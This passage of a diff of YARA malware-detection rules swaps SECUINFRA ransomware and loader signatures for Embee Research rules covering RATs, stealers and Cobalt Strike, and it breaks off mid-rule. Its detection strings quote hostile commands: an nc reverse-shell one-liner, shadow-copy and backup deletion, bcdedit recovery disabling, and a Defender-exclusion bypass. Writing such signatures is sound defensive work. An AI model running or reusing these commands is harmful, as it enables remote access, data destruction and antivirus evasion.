-		modified = "2023-01-13"
-		reference = "https://twitter.com/SI_FalconTeam/status/1613540054382559234"
-		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Malware/RANSOM_Magniber_ISO_Jan23.yar#L1-L24"
+		description = "Detects default strings related to cobalt strike named pipes"
+		author = "Matthew @ Embee_Research"
+		id = "9237f4e8-b9c4-54cb-9cb2-999d267392af"
+		date = "2023-11-04"
+		modified = "2023-11-04"
+		reference = "https://github.com/embee-research/Yara-detection-rules/"
+		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_cobaltstrike_pipe_strings_nov_2023.yar#L1-L24"
 		license_url = "N/A"
-		hash = "4dcbcc070e7e3d0696c777b63e185406e3042de835b734fe7bb33cc12e539bf6"
-		logic_hash = "238baa794f4a87102534f7d6901819aa1b5dbb8156d56fb311e9fb1a6bc77f30"
+		hash = "99986d438ec146bbb8b5faa63ce47264750a8fdf508a4d4250a8e1e3d58377fd"
+		hash = "090402a6e2db12cbdd3a889b7b46bb7702acc0cad37d87ff201230b618fe7ed5"
+		hash = "eb2b263937f8d28aa9df7277b6f25d10604a5037d5644c98ee0ab8f7a25db7b4"
+		logic_hash = "ff17fe9d04d9ad6aa5c034b69d412b0d62c48c537c3a54a465761e27e9255e6d"
 		score = 75
-		quality = 68
+		quality = 75
 		tags = "FILE"
-		tlp = "CLEAR"
 
 	strings:
-		$magic = {43 44 30 30 31}
-		$tool = {55 4C 54 52 41 49 53 4F 00 39 2E 37 2E 36 2E 33 38 32 39}
-		$msiMagic = {D0 CF 11 E0 A1 B1 1A E1}
-		$dosString = "!This program cannot be run in DOS mode" ascii
-		$lnkMagic = {4C 00 00 00}
+		$s1 = "%c%c%c%c%c%cMSSE-%d-server"
+		$s2 = "ConnectNamedPipe"
+		$s3 = "CreateNamedPipeA"
+		$s4 = "TlsGetValue"
 
 	condition:
-		filesize >200KB and filesize <800KB and all of them
+		( all of ($s*)) and filesize <500KB
 }
-rule SECUINFRA_RANSOM_Esxiargs_Ransomware_Bash_Feb23
+import "math"
+import "pe"
+
+rule EMBEERESEARCH_Win_Pikabot_Resource_Entropy_Oct_2023
 {
 	meta:
-		description = "Detects the ESXiArgs Ransomware encryption bash script"
-		author = "SECUINFRA Falcon Team (@SI_FalconTeam)"
-		id = "dafcb312-bad2-5dcc-8260-80d09e11853b"
-		date = "2023-02-07"
-		modified = "2023-02-07"
-		reference = "https://secuinfra.com/en/techtalk/hide-your-hypervisor-analysis-of-esxiargs-ransomware"
-		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Malware/RANSOM_ESXiArgs_Ransomware_Bash_Feb23.yar#L1-L45"
+		description = "Pikabot Loaders embedding encrypted inside of numerous png images"
+		author = "Matthew @ Embee_Research"
+		id = "253d35ae-a325-51c7-8da5-32bb46c51acd"
+		date = "2023-10-03"
+		modified = "2023-10-08"
+		reference = "https://github.com/embee-research/Yara-detection-rules/"
+		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_pikabot_resource_entropy_oct_2023.yar#L5-L40"
 		license_url = "N/A"
-		logic_hash = "e9838fd86e25c434f419dcc8d37a56f4f83c38930b0558181585bbfe77cd1baf"
+		hash = "936247d9a0ce76bed17f03430186abb9ecafa88ef3a968cdd46c5b0a24a5cc3f"
+		hash = "2c7b7c3ec8a6a835e07c8feed401460e185388f59ea5fc8aa8038d2b75815666"
+		hash = "00239c55d7135aa06e21ace557a3e8bf3818c2e07051c84753209e7348b6a426"
+		hash = "5f218eeb83c936d88b65ec3f3052d8c53f58775dacc04bedc91bd388fb7bb885"
+		hash = "6bea3ecd1f43bdcc261719fb732fcf27e82ed6f4b086616925291a733f358a26"
+		hash = "966042f3e532b6abce7d96bbdb91dc4561b32a4b0b9eec7b08b4f1024c2da916"
+		hash = "951c906a1fa179050d30c06849d42e49a295dd1baad91efb244b2e5486b5801d"
+		hash = "a06bd2623c389f2547d0bf750ca720ab7a74c90982267aad49ba31d5de345288"
+		hash = "aeb2bf8898636b572b0703d9ddb90b9a4c5c6db9eee631ee726ad753f197ac12"
+		logic_hash = "7beec034fc927990734691bd6859870921027860c0591c7a0d5a3815f919112d"
 		score = 75
-		quality = 70
+		quality = 50
 		tags = ""
-		tlp = "CLEAR"
 
 	strings:
-		$bash = "#!/bin/sh"
-		$wait = "Waiting for task' completion..."
-		$comment0 = "## SSH HI"
-		$comment1 = "## CHANGE CONFIG"
-		$comment2 = "## STOP VMX"
-		$kill0 = "echo \"KILL VMX\""
-		$kill1 = "kill -9 $(ps | grep vmx | awk '{print $2}')"
-		$index = "$path_to_ui/index1.html"
-		$ext0 = ".vmdk"
-		$ext1 = ".vmx"
-		$ext2 = ".vmxf"
-		$ext3 = ".vmsd"
-		$ext4 = ".vmsn"
-		$ext5 = ".vswp"
-		$ext6 = ".vmss"
-		$ext7 = ".nvram"
-		$ext8 = ".vmem"
-		$clean0 = "/bin/rm -f $CLEAN_DIR\"encrypt\" $CLEAN_DIR\"nohup.out\" $CLEAN_DIR\"index.html\" $CLEAN_DIR\"motd\" $CLEAN_DIR\"public.pem\" $CLEAN_DIR\"archieve.zip\""
-		$clean1 = "/bin/echo '' > /etc/rc.local.d/local.sh"
+		$s1 = "ARROW-DOWN" wide
+		$s2 = "ARROW-LEFT" wide
+		$s3 = "ARROW-RIGHT" wide
 
 	condition:
-		$bash and $wait and any of ($comment*) and 2 of ($kill*) and $index and 4 of ($ext*) and 2 of ($clean*)
+		pe.DLL and ( all of ($s*)) and pe.number_of_resources>25 and pe.sections[3].raw_data_size>400KB and math.entropy(pe.sections[3].raw_data_offset,pe.sections[3].raw_data_size)>7.5
 }
-rule SECUINFRA_RANSOM_Esxiargs_Ransomware_Python_Feb23
+import "dotnet"
+
+rule EMBEERESEARCH_Win_Xworm_Simple_Strings
 {
 	meta:
-		description = "Detects the ESXiArgs Ransomware encryption bash script"
-		author = "SECUINFRA Falcon Team (@SI_FalconTeam)"
-		id = "6e2d6695-b727-5b71-bfa0-e8290e057c36"
-		date = "2023-02-07"
-		modified = "2023-02-07"
-		reference = "https://secuinfra.com/en/techtalk/hide-your-hypervisor-analysis-of-esxiargs-ransomware"
-		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Malware/RANSOM_ESXiArgs_Ransomware_Python_Feb23.yar#L1-L31"
+		description = "Detects simple strings present in unobfuscated xworm"
+		author = "Matthew @ Embee_Research"
+		id = "8d5d8f07-72fa-596b-a3fc-1dee4b7fd058"
+		date = "2023-08-30"
+		modified = "2023-10-18"
+		reference = "https://github.com/embee-research/Yara-detection-rules/"
+		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_xworm_simple_strings_sep_2023.yar#L3-L29"
 		license_url = "N/A"
-		logic_hash = "b821d1829ab4fb5eea896156a303198d6531d734196f0f947aef5d46754e6ccb"
+		hash = "4459d95c0493d640ecc9453cf6a4f2b7538b1a7b95032f70803fc726b8e40422"
+		hash = "820bb1a31f421b90ea51efc3e71cc720c8c2784fb1e882e732e8fafb8631a389"
+		logic_hash = "f7df310b24b2078249cdb670ece71ebe30f985c92b3e44b6dcf0e37405a26bc3"
 		score = 75
-		quality = 70
+		quality = 75
 		tags = ""
-		tlp = "CLEAR"
 
 	strings:
-		$python = "#!/bin/python"
-		$desc = "This module starts debug tools"
-		$command0 = "server_namespace"
-		$command1 = "service_instance"
-		$command2 = "local"
-		$command3 = "operation_id"
-		$command4 = "envelope"
-		$cmd = "'mkfifo /tmp/tmpy_8th_nb; cat /tmp/tmpy_8th_nb | /bin/sh -i 2>&1 | nc %s %s > /tmp/tmpy_8th_nb' % (host, port)"
-		$OpenSLPPort = "port = '427'"
-		$listener = "HTTPServer(('127.0.0.1', 8008), PostServer).serve_forever()"
+		$x1 = "XWorm V" wide nocase
+		$s1 = "/create /f /RL HIGHEST /sc minute /mo 1 /tn " wide
+		$s2 = "/create /f /sc minute /mo 1 /tn " wide
+		$s3 = "-ExecutionPolicy Bypass Add-MpPreference -ExclusionPath " wide
 
 	condition:
-		$python and $desc and 4 of ($command*) and $cmd and $OpenSLPPort and $listener
+		dotnet.is_dotnet and $x1 and (2 of ($s*))
 }
-rule SECUINFRA_RANSOM_Magniber_LNK_Jan23
+import "dotnet"
+
+rule EMBEERESEARCH_Win_Njrat_Bytecodes_Oct_2023
 {
 	meta:
-		description = "Detects Magniber Ransomware LNK files from fake Windows Update delivery method"
-		author = "SECUINFRA Falcon Team"
-		id = "2459a9e9-a6bb-50fc-9920-7632fdec7e91"
-		date = "2023-01-13"
-		modified = "2023-01-13"
-		reference = "https://twitter.com/SI_FalconTeam/status/1613540054382559234"
-		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Malware/RANSOM_Magniber_LNK_Jan23.yar#L1-L18"
+		description = ""
+		author = "Matthew @ Embee_Research"
+		id = "9e39587a-e878-5f99-806f-e9964952f0ac"
+		date = "2023-10-03"
+		modified = "2023-10-03"
+		reference = "https://github.com/embee-research/Yara-detection-rules/"
+		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_njrat_bytecodes_oct_2023.yar#L3-L22"
 		license_url = "N/A"
-		hash = "16ecec4efa2174dec11f6a295779f905c8f593ab5cc96ae0f5249dc50469841c"
-		logic_hash = "074611d74e382bb19a45b052b5b2cc186bf3667420cb1625e9bda37f2e9774c5"
+		hash = "59d6e2958780d15131c102a93fefce6e388e81da7dc78d9c230aeb6cab7e3474"
+		hash = "4c56ade4409add1d78eac3b202a9fbd6afbd71878c31f798026082467ace2628"
+		hash = "d5a78790a1b388145424327e78f019584466d30d2d450bba832c0128aa3cd274"
+		logic_hash = "7df39219e2f2da55e461b1536e92ab125d488a048e41daaaa1fb9516be395d10"
 		score = 75
-		quality = 70
+		quality = 75
 		tags = ""
-		tlp = "CLEAR"
 
 	strings:
-		$netbiosName = "victim1" ascii fullword
-		$macAddress = {00 0C 29 07 E1 6D}
+		$s1 = {14 80 ?? ?? ?? ?? 16 80 ?? ?? ?? ?? 72 ?? ?? ?? ?? 80 ?? ?? ?? ?? 14 80 ?? ?? ?? ?? 73 ?? ?? ?? ?? 80 ?? ?? ?? ?? 20 ?? ?? ?? ?? 8D ?? ?? ?? ?? 80 ?? ?? ?? ?? 72 ?? ?? ?? ?? 80 ?? ?? ?? ?? 14 80 ?? ?? ?? ?? 2A }
 
 	condition:
-		uint32be(0x0)==0x4C000000 and all of them
+		dotnet.is_dotnet and $s1
 }
-rule SECUINFRA_MALWARE_Emotet_Onenote_Delivery_Wsf_Mar23
+rule EMBEERESEARCH_Win_Darkgate_Xllloader_Oct_2023
 {
 	meta:
-		description = "Detects Microsoft OneNote files used to deliver Emotet (.wsf Payload)"
-		author = "SECUINFRA Falcon Team (@SI_FalconTeam)"
-		id = "a9201240-407d-5ca9-b7fd-37372a2e7d2a"
-		date = "2023-03-16"
-		modified = "2023-03-16"
-		reference = "https://www.secuinfra.com/en/news/the-whale-surfaces-again-emotet-epoch4-spam-botnet-returns/"
-		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Malware/MALWARE_Emotet_OneNote_Delivery_wsf_Mar23.yar#L1-L33"
+		description = "Detects XLL Files Related to DarkGate"
+		author = "Matthew @ Embee_Research"
+		id = "4b5d9a2d-90ee-5452-83be-1677e1888045"
+		date = "2023-10-03"
+		modified = "2023-10-04"
+		reference = "https://github.com/embee-research/Yara-detection-rules/"
+		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_darkgate_xll_loader_oct_2023.yar#L2-L23"
 		license_url = "N/A"
-		logic_hash = "ca48f5e694b18e3f0b89b0128817848a7d36f60d8a3ada522739849bf3f7126b"
+		hash = "091b7c16791cf976e684fe22ee18a4099a4e26ec75fa145b85dd14603b466b00"
+		hash = "305de78353b0d599cd40a73c7e639df7f5946d1fc36691c8f7798a99ee6835e7"
+		hash = "98c59262ad396b4da5b0a3e82f819923f860e974f687c4fff9b852f25a56c50f"
+		hash = "27ec297e1fc34e29963303782ff881e74f8bd4126f4c5be0c4754f745d85f79a"
+		hash = "392fd4d218a8e333bc422635e48fdfae59054413c7a6be764c0275752d45ab23"
+		hash = "9a34b32d0a66dd4f59aeea82ef48f335913c47c6ca901ab109df702cd166892f"
+		logic_hash = "ea9a166550c53225b0a06e2cd86760f63aed8973e889a457470bdba3d87ce6af"
 		score = 75
-		quality = 70
+		quality = 75
 		tags = ""
-		tlp = "CLEAR"
-		hash0 = "dd9fcdcaf5c26fc27863c86aa65948924f23ab9faa261562cbc9d65ac80d33d4"
-		hash1 = "ca2234b9c6f7c453b91a1ca10fc7b05487f94850be7ac5ea42986347d93772d8"
-		hash2 = "b75681c1f99c4caf541478cc417ee9e8fba48f9b902c45d8bda0158a61ba1a2f"
-		hash3 = "7c4591fd03b73ba6d0ec71a3cf89a04bfb4bd240d359117d96834a83727bdcc2"
 
 	strings:
-		$s_protected = "This document is protected" wide
-		$s_click = "You have to double-click \"View\" button to open" wide
-		$s_imgFileName = "Untitled picture.jpg" wide
-		$script = "language=\"VBScript\""
-		$wsfExt = ".wsf" ascii wide
-		$GUIDwsf = {E7 16 E3 BD 65 26 11 45 A4 C4 8D 4D 0B 7A 9E AC ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 3C 6A 6F 62 20 69 64 3D 22}
-		$endTmp = /rad.{5}\.tmp/
+		$s1 = "xlAutoOpen" wide ascii
+		$s2 = { 49 ?? ?? 4c ?? ?? 48 ?? ?? 48 ?? ?? 02 e8 ?? ?? ?? ?? 48 ?? ?? 31 ?? 48 ?? ?? 01 48 ?? ?? 41 ?? ?? ?? ?? 30 ?? 48 ?? ?? 01 49 ?? ?? 75 ?? }
 
 	condition:
-		uint32be(0x0)==0xE4525C7B and any of ($s_*) and $script and $wsfExt and $GUIDwsf and $endTmp
+		( all of ($s*))
 }
-rule SECUINFRA_MALWARE_Formbook_Filename_Stage_2 : FILE
+import "dotnet"
+
+rule EMBEERESEARCH_Win_Xworm_Bytestring
 {
 	meta:
-		description = "No description has been set in the source file - SecuInfra"
-		author = "SECUINFRA Falcon Team"
-		id = "74ae157c-30b3-5f07-83a3-6bc9e854fa84"
-		date = "2022-02-19"
-		modified = "2022-02-27"
-		reference = "https://bazaar.abuse.ch/sample/295a708fd87173762a4971443304e23990462f94e8db48d83472f19425daaa87"
-		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Malware/formbook.yar#L2-L14"
+		description = "Detects bytestring present in unobfuscated xworm"
+		author = "Matthew @ Embee_Research"
+		id = "b7bad89d-ff15-50ae-8c97-64b181dad07f"
+		date = "2023-08-27"
+		modified = "2023-10-18"
+		reference = "https://github.com/embee-research/Yara-detection-rules/"
+		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_xworm_bytestring_sep_2023.yar#L3-L24"
 		license_url = "N/A"
-		logic_hash = "707fa457a99b47419b0b77716ed1f61cdb493f04cc26a156f903a30ef30ac428"
-		score = 75
-		quality = 70
-		tags = "FILE"
-		version = "0.1"
+		hash = "8948b34d471db1e334e6caa00492bd11a60d0ec378933386b0cb7bc1b971c102"
+		hash = "52634ade55558807042eae35e2777894e405e811102e980a2e2b25d151fde121"
+		logic_hash = "dd9955c3616ee65cf94625f5fc92298464a9a3b6deaf32ae70d7e8206c0ceb5b"
+		score = 50
+		quality = 75
+		tags = ""
 
 	strings:
-		$name = "PDF-Scan180220225499044" ascii wide
+		$p1 = { 72 [4] 16 28 [4] 16 33 ?? 72 [4] 0C 38 [4] 11 ?? 72 [4] 16 28 [4] 16 33 ?? 72 [4] 0C 38 [4] 11 ?? 72 [4] 16 28 [4] 16 33 ?? 72 [4] 0C 38 [4] 11 ?? 72 [4] 16 28 [4] 16 33 ?? }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and $name
+		dotnet.is_dotnet and $p1
 }
-import "pe"
-
-rule SECUINFRA_RANSOM_Medusalocker_July22 : RANSOMWARE FILE
+rule EMBEERESEARCH_Win_Redline_Payload_Dec_2023
 {
 	meta:
-		description = "Detects MedusaLocker Ransomware"
-		author = "SECUINFRA Falcon Team"
-		id = "ca8c4ab6-cb7d-5b1d-a3c3-6921133c646c"
-		date = "2022-07-08"
-		modified = "2022-07-08"
-		reference = "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-181A_stopransomware_medusalocker.pdf"
-		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Malware/RANSOM_MedusaLocker_July22.yar#L3-L68"
+		description = "Patterns observed in redline"
+		author = "Matthew @ Embee_Research"
+		id = "6208779a-69b2-55b5-9744-987575c00d96"
+		date = "2023-12-24"
+		modified = "2023-12-29"
+		reference = "https://github.com/embee-research/Yara-detection-rules/"
+		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_redline_payload_dec_2023.yar#L1-L16"
 		license_url = "N/A"
-		logic_hash = "f585e29cf8d381813e489296b88fbd8ebd0e48b48395237b264596f54e0db472"
+		hash = "5790aead07ce0b9b508392b9a2f363ef77055ae16c44231773849c87a1dd15a4"
+		logic_hash = "d016baa5017120a3037e9cef7fd649228f7be60e511ecbdedf97916f59eec881"
 		score = 75
-		quality = 68
-		tags = "RANSOMWARE, FILE"
-		tlp = "WHITE"
-		hash0 = "80ca82e3e62514c66250ff91cc28a945758d435665cd36a347bf9fea9278aa48"
-		hash1 = "09ac3b065defa5e69db8573ec2d201e3199ad7508ed775174fe76c18f8b9710b"
-		hash2 = "bee9de4694ab25b125b95579235d9f8a5ec48658dfd5b7feb78915ee2aacc6ca"
-		hash3 = "1ff4ab45cc7b71d22d2433214eed2b7b2344bb1921c97a44c44fe5f3a78f8135"
-		hash4 = "af768da08a34ddf503522186a22e65e623491e48754356210cc6798598f85266"
+		quality = 75
+		tags = ""
 
 	strings:
-		$log0 = "[LOCKER] Init cryptor is failed" wide
-		$log1 = "[LOCKER] Kill processes" wide
-		$log2 = "[LOCKER] Scan" wide
-		$log3 = "[LOCKER] Already Scan" wide
-		$log4 = "[LOCKER] Is running" wide
-		$log5 = "[LOCKER] Is already running" wide
-		$log6 = "[LOCKER] Priv: ADMIN" wide
-		$log7 = "[LOCKER] Priv: USER" wide
-		$log8 = "[LOCKER] Init cryptor" wide
-		$log9 = "[LOCKER] Put ID to HTML-code" wide
-		$log10 = "[LOCKER] Init cryptor is failed" wide
-		$log11 = "[LOCKER] Add to autorun" wide
-		$log12 = "[LOCKER] Put ID to HTML-code is failed!" wide
-		$log13 = "[LOCKER] Scan hidden devices" wide
-		$log14 = "[LOCKER] Stop and delete services" wide
-		$log15 = "[LOCKER] Kill processes" wide
-		$log16 = "[LOCKER] Remove backups" wide
-		$log17 = "[LOCKER] Lock drive " wide
-		$log18 = "[LOCKER] Run scanning..." wide
-		$log19 = "[LOCKER] Sleep at 60 seconds..." wide
-		$mutex = "{8761ABBD-7F85-42EE-B272-A76179687C63}" wide
-		$uacbypass0 = "{3E5FC7F9-9A51-4367-9063-A120244FBEC7}" wide
-		$uacbypass1 = "{6EDD6D74-C007-4E75-B76A-E5740995E24C}" wide
-		$note0 = "HOW_TO_RECOVER_DATA.html" ascii
-		$note1 = "We gathered highly confidential/personal data. These data are currently stored on" ascii
-		$note2 = "<b>/!\\ YOUR COMPANY NETWORK HAS BEEN PENETRATED /!\\" ascii
-		$note3 = "<!-- !!! dont changing this !!! -->" fullword ascii
-		$ext = ".dll,.sys,.ini,.rdp,.encrypted,.exe" ascii
-		$services = "Intuit.QuickBooks.FCS,QBCFMonitorService,sqlwriter,msmdsrv,tomcat6,zhudongfangyu" ascii
-		$system0 = "wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest" wide
-		$system1 = "vssadmin.exe Delete Shadows /All /Quiet" wide
-		$system2 = "bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures" wide
-		$system4 = "bcdedit.exe /set {default} recoveryenabled No" wide
-		$system5 = "wmic.exe SHADOWCOPY /nointeractive" wide
+		$s1 = {16 72 ?? ?? ?? 70 A2 7E ?? ?? ?? 04 17 72 ?? ?? ?? 70 7E ?? ?? ?? 04 16 9A 28 ?? ?? ?? 06 A2 7E ?? ?? ?? 04 18 72 ?? ?? ?? 70 }
 
 	condition:
-		uint16(0)==0x5a4d and pe.imphash()=="1a395bd10b20c116b11c2db5ee44c225" and filesize >450KB and filesize <1MB and all of ($log*) and $mutex and any of ($uacbypass*) and 2 of ($note*) and $ext and $services and 2 of ($system*)
+		all of them
 }
-import "math"
-import "pe"
-import "console"
+import "dotnet"
 
-rule SECUINFRA_RANSOM_Lockbit_Black_Packer : RANSOMWARE FILE
+rule EMBEERESEARCH_Win_Quasar_Rat_Client : FILE
 {
 	meta:
-		description = "Detects the packer used by Lockbit Black (Version 3)"
-		author = "SECUINFRA Falcon Team"
-		id = "f4c1a12b-eb89-5a46-97a9-f0207ca1bbde"
-		date = "2022-07-04"
-		modified = "2022-07-04"
-		reference = "https://twitter.com/vxunderground/status/1543661557883740161"
-		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Malware/RANSOM_Lockbit_Black_Packer.yar#L5-L40"
+		description = "Detects strings present in Quasar Rat Samples."
+		author = "Matthew @ Embee_Research"
+		id = "7fc0bd6d-e187-51b7-a8b8-68b17271cef8"
+		date = "2023-08-27"
+		modified = "2023-10-18"
+		reference = "https://github.com/embee-research/Yara-detection-rules/"
+		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_quasar_rat_client_aug_2023.yar#L3-L37"
 		license_url = "N/A"
-		logic_hash = "cde7f5374b97b2462cfd951994b6bb3ef0962e1be71253e25ca14d53c3d3d615"
+		hash = "914d88f295ac2213f37d3f71e6d4383979283d1728079a208f286effb44d840c"
+		hash = "45a724179ae1d08044c4bafb69c7f9cdb4ed35891dc9cf24aa664d75464ceb6d"
+		hash = "7e13bcd73232c3f33410aa95f61e1196a2f9ae35e05c1f9c8f251e07077a9dfb"
+		logic_hash = "efba911780ffb144f277e88ff8ca8f53a90c32a677ccb19ec26e71f974a1b91f"
 		score = 75
-		quality = 45
-		tags = "RANSOMWARE, FILE"
-		tlp = "WHITE"
-		hash0 = "80e8defa5377018b093b5b90de0f2957f7062144c83a09a56bba1fe4eda932ce"
-		hash1 = "506f3b12853375a1fbbf85c82ddf13341cf941c5acd4a39a51d6addf145a7a51"
-		hash2 = "d61af007f6c792b8fb6c677143b7d0e2533394e28c50737588e40da475c040ee"
+		quality = 75
+		tags = "FILE"
 
 	strings:
-		$sectionname0 = ".rdata$zzzdbg" ascii
-		$sectionname1 = ".xyz" ascii fullword
-		$check0 = {3d 75 80 91 76 ?? ?? 3d 1b a4 04 00 ?? ?? 3d 9b b4 84 0b}
-		$check1 = {3d 75 ba 0e 64}
-		$asciiCalc = {66 83 f8 41 ?? ?? 66 83 f8 46 ?? ?? 66 83 e8 37}
+		$s1 = "Quasar Client" ascii wide
+		$s2 = "Quasar.Client.Properties.Resources" ascii wide
+		$s3 = "Google\\Chrome\\User Data\\Default\\" wide
+		$s4 = "\\Mozilla\\Firefox\\Profiles" wide
+		$s5 = "Yandex\\YandexBrowser\\User Data\\Default\\" wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize >111KB and filesize <270KB and all of ($sectionname*) and any of ($check*) and $asciiCalc and for any i in (0..pe.number_of_sections-1) : (math.entropy(pe.sections[i].raw_data_offset,pe.sections[i].raw_data_size)>7.9 and (pe.sections[i].name==".text" or pe.sections[i].name==".data" or pe.sections[i].name==".pdata") and console.log("High Entropy section found:",pe.sections[i].name))
+		uint16(0)==0x5a4d and dotnet.is_dotnet and filesize <7000KB and ( for any i in (0..dotnet.number_of_resources-1) : (dotnet.resources[i].name=="Quasar.Client*") or (3 of ($s*)))
 }
-rule SECUINFRA_RANSOM_Esxiargs_Ransomware_Encryptor_Feb23
+rule EMBEERESEARCH_Win_Remcos_Rat_Unpacked : FILE
 {
 	meta:
-		description = "Detects the ESXiArgs Ransomware 'encrypt' binary"
-		author = "SECUINFRA Falcon Team (@SI_FalconTeam)"
-		id = "e91398bd-c8b5-5702-974e-017d2c0f6054"
-		date = "2023-02-07"
-		modified = "2023-02-07"
-		reference = "https://secuinfra.com/en/techtalk/hide-your-hypervisor-analysis-of-esxiargs-ransomware"
-		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Malware/RANSOM_ESXiArgs_Ransomware_Encrypt_Feb23.yar#L1-L32"
+		description = "Detects strings present in remcos rat Samples."
+		author = "Matthew @ Embee_Research"
+		id = "d4282638-592a-5c07-b07b-937e2a7879e4"
+		date = "2023-08-27"
+		modified = "2023-10-18"
+		reference = "https://github.com/embee-research/Yara-detection-rules/"
+		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_remcos_rat_unpacked_aug_2023.yar#L2-L32"
 		license_url = "N/A"
-		logic_hash = "f0c9858275f547d4cf7d907377f079b817bf69cae9940b134e523bd7794d6f3b"
+		hash = "ec901217558e77f2f449031a6a1190b1e99b30fa1bb8d8dabc3a99bc69833784"
+		logic_hash = "c6d1772a5517b104de3022f4bab55d92784d35c3a252a4e0516083d8bd28cad0"
 		score = 75
-		quality = 70
-		tags = ""
-		tlp = "CLEAR"
+		quality = 75
+		tags = "FILE"
 
 	strings:
-		$sosemanuk_prng = {48 8b 45 f8 48 01 45 e0 48 8b 45 f8 48 29 45 d8 48 8b 45 e8 8b 90 80 00 00 00 48 8b 45 f8 01 c2 48 8b 45 e8 89 90 80 00 00 00}
-		$sosemanuk_mul_a = {00 00 00 00 13 CF 9F E1 26 37 97 6B 35 F8 08 8A [992] DE 4D 5B B5 CD 82 C4 54 F8 7A CC DE EB B5 53 3F}
-		$sosemanuk_mul_ia = {00 00 00 00 CD 40 0F 18 33 80 1E 30 FE C0 11 28 [992] 1C 65 E2 9E D1 25 ED 86 2F E5 FC AE E2 A5 F3 B6}
-		$interpreter = "/lib64/ld-linux-x86-64.so.2"
-		$debug0 = "encrypt_bytes: too big data"
-		$debug1 = "Progress: %f"
-		$help = "usage: encrypt <public_key> <file_to_encrypt> [<enc_step>] [<enc_size>] [<file_size>]"
+		$r0 = " ______                              " ascii
+		$r1 = "(_____ \\                             " ascii
+		$r2 = " _____) )_____ ____   ____ ___   ___ " ascii
+		$r3 = "|  __  /| ___ |    \\ / ___) _ \\ /___)" ascii
+		$r4 = "| |  \\ \\| ____| | | ( (__| |_| |___ |" ascii
+		$r5 = "|_|   |_|_____)_|_|_|\\____)___/(___/ " ascii
+		$s1 = "Watchdog module activated" ascii
+		$s2 = "Remcos restarted by watchdog!" ascii
+		$s3 = " BreakingSecurity.net" ascii
 
 	condition:
-		uint32be(0x0)==0x7F454C46 and all of ($sosemanuk_*) and $interpreter and 2 of ($debug*) and $help
+		(( all of ($r*)) or ( all of ($s*)))
 }
-rule SECUINFRA_MALWARE_Plugx_USB_Delivery_LNK_Jun23
+import "dotnet"
+
+rule EMBEERESEARCH_Win_Njrat_Strings_Oct_2023
 {
 	meta:
-		description = "Detects PlugX-style Malware delivery via removable Drives (USB) - LNK File"
-		author = "SECUINFRA Falcon Team (@SI_FalconTeam)"
-		id = "14c2e37e-91d7-5b66-916f-a1544a69a6fc"
-		date = "2023-06-21"
-		modified = "2023-06-21"
-		reference = "https://unit42.paloaltonetworks.com/plugx-variants-in-usbs/"
-		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Malware/MALWARE_PlugX_USB_Delivery_Jun21.yar#L1-L31"
+		description = ""
+		author = "Matthew @ Embee_Research"
+		id = "c89711cb-aae9-5409-80c2-145a8d5fca56"
+		date = "2023-10-03"
+		modified = "2023-10-03"
+		reference = "https://github.com/embee-research/Yara-detection-rules/"
+		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_njrat_strings_oct_2023.yar#L3-L25"
 		license_url = "N/A"
-		logic_hash = "afbbaf44e97b6db584780e0739bffd9c70e05e86284cb25b25a9d02cbeffff1f"
+		hash = "59d6e2958780d15131c102a93fefce6e388e81da7dc78d9c230aeb6cab7e3474"
+		logic_hash = "ed36a991aa2699486f1ef34f4f4d559a3dd351180602f017ad7d868e146c703b"
 		score = 75
-		quality = 70
+		quality = 75
 		tags = ""
-		tlp = "CLEAR"
 
 	strings:
-		$lnk_magic = {4C 00 00 00 01 14 02 00}
-		$driveletter_4X = {4? 00 3A 00 5C 00 A0 00 5C}
-		$driveletter_5X = {5? 00 3A 00 5C 00 A0 00 5C}
-		$s_cmd = "C:\\Windows\\System32\\cmd.exe" ascii
